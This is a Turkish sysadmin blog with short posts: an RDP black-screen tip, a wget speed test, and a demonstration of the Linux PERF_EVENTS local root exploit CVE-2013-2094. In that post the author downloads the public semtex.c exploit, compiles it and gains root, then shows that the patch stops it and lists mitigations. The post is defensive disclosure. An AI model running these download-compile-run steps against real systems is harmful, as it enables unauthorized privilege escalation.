dinçer kurnaz

dinçer kurnaz
Tech. Consultant,
Platform independent senior system administrator.
IT Security,
Virtualization,
Cloud Computing,
Linux,
Oracle

dinçer

dinçer.net i aldım :)


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RDP Black screen

Tips: Windows remote desktop’a bağlandığınızda siyah bir ekranda kalıyor, yanıt vermiyorsa CTRL-ALT-END tuşlarına basın.

Genelde boş bellek kalmadığında bu sorun ortaya çıkar dikkat edin

rdesktop srv2008.dincersalihkurnaz.com -k tr -g80% -0


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dinçer salih kurnaz bugün 2 yaşına bastı!

dinçer salih kurnaz bugün 2 yaşına bastı!

(Kaynak: assets)


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Console base speedtest

Hız testi

wget -O/dev/null speedtest.pixelwolf.ch

$ wget -O/dev/null speedtest.pixelwolf.ch
—2013-06-13 09:46:23—  http://speedtest.pixelwolf.ch/
Resolving speedtest.pixelwolf.ch (speedtest.pixelwolf.ch)… 178.63.18.88, 2a02:41a:3204::134
Connecting to speedtest.pixelwolf.ch (speedtest.pixelwolf.ch)|178.63.18.88|:80… connected.
HTTP request sent, awaiting response… 302 Found
Location: http://speedtest.pixelwolf.ch/one.gigabyte [following]
—2013-06-13 09:46:23—  http://speedtest.pixelwolf.ch/one.gigabyte
Reusing existing connection to speedtest.pixelwolf.ch:80.
HTTP request sent, awaiting response… 200 OK
Length: 1048576000 (1000M) [text/plain]
Saving to: `/dev/null’

 1% [                                       ] 11,068,932   613K/s  eta 25m 59s


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Linux PERF_EVENTS Local Root

Linux local root exploit CVE-2013-2094

dincer@debian:~$ uname -a

Linux debian 3.2.0-4-amd64 #1 SMP Debian 3.2.39-2 x86_64 GNU/Linux

dincer@debian:~$ cat /etc/issue

Debian GNU/Linux 7.0 \n \l

 

dincer@debian:~$ id dincer

uid=1004(dincer) gid=1002(dincer) groups=1002(dincer)

dincer@debian:~$ wget http://dl.packetstormsecurity.net/1305-exploits/semtex.c

dincer@debian:~$ gcc -O2 semtex.c && ./a.out

2.6.37-3.x x86_64

sd@fucksheep.org 2010

root@debian:~#  TA TAAA :)

root@debian:~# id

uid=0(root) gid=0(root) groups=0(root),1002(dincer)

Önlem:

Sistemde derleyici yüklü olmamalı!

Çözüm:

Debian update edin.

dincer@debian:~$ uname -a

Linux debian 3.2.0-4-amd64 #1 SMP Debian 3.2.41-2+deb7u2 x86_64 GNU/Linux

dincer@debian:~$ ./a.out

a.out: semtex.c:51: sheep: Assertion `!close(fd)’ failed.

Aborted


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